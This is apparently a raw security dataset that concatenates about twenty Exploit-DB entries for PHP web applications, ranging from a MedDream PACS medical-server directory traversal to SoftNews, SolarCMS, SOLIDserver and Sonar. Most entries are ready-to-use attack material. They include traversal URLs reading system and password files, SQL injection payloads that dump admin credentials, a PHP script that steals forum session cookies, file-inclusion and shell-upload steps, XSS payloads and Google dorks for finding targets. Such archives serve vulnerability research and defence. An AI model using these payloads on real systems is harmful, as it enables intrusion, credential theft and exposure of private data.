deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45347
Description: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal
Type: webapps
Platform: php
Date: 2018-09-07
Author: Carlos Avila

Exploit:
# Exploit Title: Softneta MedDream PACS Server Premium 6.7.1.1 - Directory Traversal
# Date: 2018-05-23
# Software Link: https://www.softneta.com/products/meddream-pacs-server/downloads.html
# Google Dork: inurl:pacs/login.php, inurl:pacsone/login.php, inurl:pacsone filetype:php home, inurl:pacsone filetype:php login
# Version: MedDream PACS Server Premium 6.7.1.1
# Category: webapps
# Tested on: Windows 7 
# Exploit Author: Carlos Avila
# Contact: http://twitter.com/badboy_nt
  
# Proof of Concept

http://TARGET/pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini

http://TARGET/Pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows\System32\drivers\etc\hosts

http://TARGET/Pacs/nocache.php?path=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c\MedDreamPACS-Premium\passwords.txt (Attack Vector, obtain private information from users and passwords -Bypass Authentication- )
Exploit-DB #29731
Description: SoftNews 4.1/5.5 - '/engine/Ajax/editnews.php?root_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-10
Author: Hasadya Raed

Exploit:
source: https://www.securityfocus.com/bid/22913/info
 
DataLife Engine is prone to multiple remote file-include vulnerabilities.
 
An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
NOTE: Further information reveals that the reported vulnerable parameter is actually a constant, not a variable, so it cannot be controlled by an attacker. Since the application is not vulnerable, this BID is being retired.
 
http://www.example.com/engine/Ajax/editnews.php?root_dir=[Shell-Attack]k]
Exploit-DB #29730
Description: SoftNews 4.1/5.5 - '/engine/init.php?root_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-10
Author: Hasadya Raed

Exploit:
source: https://www.securityfocus.com/bid/22913/info

DataLife Engine is prone to multiple remote file-include vulnerabilities.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

NOTE: Further information reveals that the reported vulnerable parameter is actually a constant, not a variable, so it cannot be controlled by an attacker. Since the application is not vulnerable, this BID is being retired.

http://www.example.com/engine/init.php?root_dir=[Shell-Attack]
Exploit-DB #11807
Description: SOFTSAURUS 2.01 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-18
Author: cr4wl3r

Exploit:
============================================================
SOFTSAURUS 2.01 Multiple Remote File Include Vulnerabilities
============================================================

[+] SOFTSAURUS 2.01 Multiple Remote File Include Vulnerabilities
[+] Discovered By: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original : http://inj3ct0r.com/exploits/11347
[+] Download: http://code.google.com/p/softsaurus/downloads/list

[+] PoC: [path]/content/plugins/wallpapers/wallpapers.php?includes_path=[Shell]
         [path]/content/themes/softsaurus_default/pages/subHeader.php?objects_path=[Shell]
         [path]/content/themes/softsaurus_stretched/pages/subHeader.php?objects_path=[Shell]

[+] Greetz: Inj3ct0r Team r0073r, 0x1D, bL4Ck_3n91n3


# Inj3ct0r.com [2010-03-18]
Exploit-DB #5378
Description: Software Index 1.1 - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2008-04-05
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+		       Software Index 1.1 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz & xprog
Discovered On: 6 April 2008

Script Download: http://www.turnkeyzone.com

DORK: inurl:"add_soft.php"

Vendor Has Not Been Notified!



DESCRIPTION: 
Software Index 1.1 is vulnerable due to multiple insecure mysql querys.



SQL Injection:
http://site.com/showcategory.php?cid=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(0x3C666F6E7420636F6C6F723D[PII_REDACTED]3E,admin_name,0x3a,pwd,0x3C2F666F6E743E),3,4,5/**/FROM/**/sbwmd_admin/*



NOTE/TIP: 
admin login is at /siteadmin/



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+		       Software Index 1.1 SQL Injection Vulnerbilitys	             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-05]
Exploit-DB #17675
Description: SoftwareDEP Classified Script 2.5 - SQL Injection (1)
Type: webapps
Platform: php
Date: 2011-08-17
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
SoftwareDEP Classified Script SQL Injection Vulnerability

Author     : v3n0m
Discovered : August, 16-2011 GMT +7:00 Jakarta, Indonesia
Software   : Classified Script
Developer  : http://www.softwaredep.com/
Price      : $199
Version    : 2.5 Lower versions may also be affected
-----------------------------------------------------------------------

PoC:
---
http://domain.tld/[path]/ad_detail.php?id=-9999+union+select+1,2,3,4,concat(email,char(58),password),version(),7,8,9,10,11,12,13,14,15,16,17,18,19+from+user--

Credits:
-------
www.yogyacarderlink.web.id - irc.yogyacarderlink.web.id
Exploit-DB #18732
Description: SoftwareDEP Classified Script 2.5 - SQL Injection (2)
Type: webapps
Platform: php
Date: 2012-04-12
Author: hordcode security

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Software DEP Classified Script 2.5 SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Author: h0rd
Contact: h0rd[at]null.net
homepage: http://h0rd.net
download: http://www.softwaredep.com/classified-script.html
Price: $199 

PoC exploit:
http://[host]/ad_detail.php?id=null union select 1,2,3,4,concat(email,0x3a,0x3a,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19 from user--

login page:
http://[host]/[script]/admin/
Exploit-DB #43086
Description: Sokial Social Network Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Sokial Social Network Script 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.sokial.net/
# Software http://www.sokial.net/demonstrations-social-network.sk
# Demo: http://demo.sokial.net/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15973
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/admin/members_view.php?id=[SQL]
# 
# 2271+aND(/*!00033SelEcT*/+0x30783331+/*!00033frOM*/+(/*!00033SelEcT*/+cOUNT(*),/*!00033cOnCaT*/((/*!00033sELECT*/(/*!00033sELECT*/+/*!00033cOnCaT*/(cAST(dATABASE()+aS+/*!00033cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00033wHERE*/+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(/*!00033rAND*/(0)*2))x+/*!00033FRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00033aNd*/+1=1
# 
# Parameter: id (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: id=2271 RLIKE (SELECT (CASE WHEN (8371=8371) THEN 2271 ELSE 0x28 END))
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: id=2271 AND (SELECT 9357 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(9357=9357,1))),0x717a6b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 
#     Type: stacked queries
#     Title: MySQL > 5.0.11 stacked queries (comment)
#     Payload: id=2271;SELECT SLEEP(5)#
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: id=2271 OR SLEEP(5)
# 	
# Etc..
# # # # #
Exploit-DB #7548
Description: SolarCMS 0.53.8 - 'Forum' Remote Cookies Disclosure
Type: webapps
Platform: php
Date: 2008-12-22
Author: StAkeR

Exploit:
<?php

error_reporting(0);

/***************************************************************
 *  ---------------------------------------------------------  * 
 *  SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit  *
 *  ---------------------------------------------------------  *
 *  by athos - staker[at]hotmail[dot]it                        *
 *  download on http://cms.maury91.org/                        *
 *  works regardless PHP.ini settings                          *                     
 *  ---------------------------------------------------------  *
 ***************************************************************/


list($file,$host,$path,$myid,$table) = $argv;

if($argc != 5) usage();

$cookie = (preg_match('/\^(.+?)\^/',get_cookies(),$out)) ? explode(':',$out[1]) : error();

if($path == '/')
{
      print "_nick={$cookie[1]}; path=/;\n";
      print "_sauth={$cookie[0]}; path=/;\n";
      exit;
}     
else
{
      print "/{$path}_nick={$cookie[1]}; path=/;\n";
      print "/{$path}_sauth={$cookie[0]}; path=/;\n";
      exit;
}      
 
 
 

function get_cookies()
{
      global $host,$path,$myid,$table;
       
      $data .= "GET {$path}/index.php?com=Forum&cat=-1+union+select+1,";
      $data .= "concat(0x5e,sauth,0x3a,nick,0x5e),3+from+{$table}+where+id={$myid}-- HTTP/1.1\r\n";
      $data .= "Host: {$host}\r\n";
      $data .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
      $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
      $data .= "Connection: close\r\n\r\n";

      
      
      if(!$sock = fsockopen($host,80)) die("connection refused\n");
      
      fputs($sock,$data);
      
      while(!feof($sock))
      {
            $html .= fgets($sock);
      }    
      
      fclose($sock);
      return $html;
}     


       
function error()
{
      print "Exploit Failed!\n";
      print "Regards ;)\n";
      exit;
}

function usage()
{
      print "---------------------------------------------------------\n";    
      print "SolarCMS 0.53.8 (Forum) Remote Cookies Disclosure Exploit\n";
      print "---------------------------------------------------------\n";
      print "by athos - staker[at]hotmail[dot]it\n";
      print "Usage: php xpl.php [host] [path] [userid] [table]\n";
      print "php xpl.php localhost /  1 solarcms_users\n";
      exit;

}

# milw0rm.com [2008-12-22]
Exploit-DB #29663
Description: SolarPay - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-26
Author: Hasadya Raed

Exploit:
source: https://www.securityfocus.com/bid/22722/info

SolarPay is prone to a local file-include vulnerability because the utility fails to properly sanitize user-supplied input.

Successfully exploiting this issue allows attackers to gain access to files located in directories they do not have permissions to access. Information that attackers harvest may aid them in further attacks. 

http://www.example.com/index.php?read=../admin/a_searchu.php
Exploit-DB #39478
Description: SOLIDserver < 5.0.4 - Local File Inclusion
Type: webapps
Platform: php
Date: 2016-02-20
Author: Saeed reza Zamanian

Exploit:
Title: SOLIDserver <=5.0.4 - Local File Inclusion Vunerability
Author: Saeed reza Zamanian [penetrationtest @ Linkedin]

Product: SOLIDserver
Tested Version: : 5.0.4 and 4.0.2
Vendor: efficient IP http://www.efficientip.com
Google Dork: SOLIDserver login
Date: 17 Feb 2016

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N


About Product : 
---------------
EfficientIP's IP Address Management (IPAM) solution adapts to business and IT goals and objectives by allowing the creation of specific IPAM and VLANs deployment processes.
SOLIDserver™ IPAM is a unified solution that allows you to design, deploy, and manage the IP addressing plan automatically applying allocation rules and simplifying deployments. 

Vulnerability Details:
----------------------
Based on a code review done on the product , this product doesn't have any observation on some parameters, that make the attacker able to read file contents.

PoC 1:
-----
https://www.site.com/mod/system/report_download.php?report_filename=/etc/passwd
or
view-source:https://www.site.com/mod/system/report_download.php?report_filename=../../../../../../../../../../../../etc/passwd

PoC 2 : [login authentication required]
------
https://www.site.com/mod/generic/download_config_file.php?config_file=../../../../../../../../../../../../../../etc/hosts


#EOF
Exploit-DB #32698
Description: SolucionXpressPro - 'main.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-05
Author: Ehsan_Hp200

Exploit:
source: https://www.securityfocus.com/bid/33111/info

SolucionXpressPro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/main.php?id_area=[SQL]
Exploit-DB #12041
Description: Solutive CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-04
Author: Th3 RDX

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Gr33tz to ### www.Teamicw.in | www.IndiShell.in | www.AndhraHackers.com ###
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
             L0v3 T0 : "R00T", "R45c4l" & "Agent: 1c3c0ld"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

##############################################################################
%//

----- [ Founder ] -----

    Th3 RDX

----- [ E - mail ] -----

 th3rdx@gmail.com


                                                        %\\
##############################################################################

##############################################################################
%//

----- [Title] -----

Solutive CMS SQL Injection Vulnerability

----- [ Vendor ] -----

http://www.solutive.net/

                                                        %\\
##############################################################################

##############################################################################
%//

----- [ Exploit (s) ] -----

Put [CODE] = SQL Injection Code

{e.g = product_detail.php?id=7+and+1=0+ Union Select  1 ,2,
UNHEX(HEX([visible]))
,4,5,6 (tables & column) }

[SQLi] http://server/cms/product_detail.php?id=7[CODE]

[SQLi] http://server/cms/news_content.php?id=9[CODE]

[SQLi] http://server/cms/products_by_cat.php?Cat_id=1[CODE]


                                                        %\\
##############################################################################

##############################################################################
%//

              >>>>>> TESTED ON <<<<<<

----- [ Live Link (s) ] -----

[Link] http://solutive.net/cms01/product_detail.php?id=7[CODE]

[Link] http://solutive.net/cms01/news_content.php?id=9[CODE]

[Link] http://solutive.net/cms01/products_by_cat.php?Cat_id=1[CODE]

                                                        %\\
##############################################################################


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  Thanks To All: www.Exploit-db.com | wwww.inj3ct0r.com | www.hack0wn.com
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bug discovered : 04 April 2010

finish(0);
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Exploit-DB #2329
Description: Somery 0.4.6 - 'skin_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-08
Author: basher13

Exploit:
Update:
16:01 09/08/06

Subject:
"Somery 0.4(skin_dir)Remote File Inclusion Exploit"

Vulnerable version:
 Somery 0.4.6

Operating System:
- All OS

Vendor URL:
Robin de Graaf - voh@hostvoh.net
Somery website - http://somery.danwa.net

Description:
Somery, also known as the Somery weblogging system.

Vulnerability:
An error accoured when sending a specified string code at include function
Varibale scope at the line for request was not except how they handle failure.include() does not behave this way, the script will continue

regardless.include() produces a Warning while require() results in a Fatal Error.
see vulnerability script;

// upload/admin/system/include.php

if ($start) {
       include("../config.php");
       include("cookies.php");
       include("system/error.php");
       include("system/functions.php");
       include("system/authorization.php");
       include("$skindir/header.php"); // is invalid code
} else {
       if (!$checkauth) {
               $login = TRUE;
               include("login.php");
       }
       include("$skindir/footer.php"); // is invalid code
}

Exploit:
//          =============XCRIME-CYBER============
//          Somery 0.4(skin_dir)Remote File Inclusion Exploit
//          ======================================
//                              basher13 - Infam0us Gr0up
Usage:
http://[domain]/[path]/upload/admin/system/include.php?skindir=http://[url_inclusion_exploit]

Solution:
PHP Manual(PHP 3, PHP 4, PHP 5)
Defined --  Checks whether a given named constant exists
<?php
/* Note the use of quotes, this is important.  This example is checking
 * if the string 'CONSTANT' is the name of a constant named CONSTANT */
if (defined('CONSTANT')) {
   echo CONSTANT;
}
?>

Published by:
basher13 (Infam0us Gr0up - Securiti Research)
basher13@linuxmail.org / www.xcrime-cyber.pro.tc

# milw0rm.com [2006-09-08]
Exploit-DB #4320
Description: SomeryC 0.2.4 - 'include.php?skindir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-08-27
Author: Katatafish

Exploit:
### SomeryC <= v0.2.4 Remote File Include ###

#Vendor:        http://someryc.mostpopularcomic.com
#download       http://someryc.mostpopularcomic.com/sC024.zip

#found by: Katatafish (karatatata@hush.com)

#d0rk: "powered by someryc"

#vuln-code(/admin/system/include.php):

if ($start) {
....
       include("$skindir/header.php");
}
....
       include("$skindir/footer.php");

#exploit:

http://www.site.com/admin/system/include.php?skindir=[evilCode]
http://www.site.com/admin/system/include.php?start=1&skindir=[evilCode]

# milw0rm.com [2007-08-27]
Exploit-DB #38315
Description: Sonar - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2013-02-12
Author: DevilTeam

Exploit:
source: https://www.securityfocus.com/bid/57982/info

Sonar is prone to multiple cross-site scripting vulnerabilities because it fails to sanitize user-supplied input. 

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

Sonar 3.4.1 is vulnerable; other versions may also be affected.

http://www.example.com/dependencies/index?search="><script>alert(/devilteam.pl/)</script> 

http://www.example.com/dashboard/index/41730?did=4&period=3"><script>alert(/devilteam.pl/)</script> 

http://www.example.com/reviews/index?review_id=&statuses[]=OPEN&statuses[]=REOPENED&severities[]=&projects[]=&amp;author_login=&assignee_login="><script>alert(/devilteam.pl/)</script>&false_positives=without&sort=&asc=false&commit=Search

http://www.example.com/reviews/index?review_id=&statuses[]=OPEN&statuses[]=REOPENED&severities[]=&projects[]=&amp;author_login="><script>alert(/devilteam.pl/)</script>&assignee_login=&false_positives=without&sort=&asc=false&commit=Search

http://www.example.com/api/sources?resource=<script>alert(/devilteam.pl/)</script>&format=txt
Exploit-DB #11476
Description: SongForever.com Clone - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-16
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : SongForever.com-clone Shell Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)                                                                             
                                                                                                                          
| # Dork     : Power by donghungx. Copyright © 2008 AttMp3.com. All rights reserved.                                         
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Shell Upload                                                                     
======================      Exploit By indoushka       =================================
# Exploit  : 
 
 1- http://server/SongForever/index.php?do=register (To register )
 
 2- http://server/SongForever/engine/mp3/upload.php (To Upload Evil)
 
 3- http://server/SongForever/uploads/usermusic/    (To Find It)
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX ==========================================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (Tinjah.com) * Yashar (sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
www.owned-m.com * Stake (v4-team.com) * www.securitywall.org * r1z (www.sec-r1z.com) * www.kadmiwe.net
www.securityreason.com * www.packetstormsecurity.org * www.m-y.cc * Cyb3r IntRue (avengers team)
www.hacker.ps * no-exploit.com * www.bawassil.com * www.xp10.me * www.mormoroth.net * www.alkrsan.net 
--------------------------------------------------------------------------------------------------------------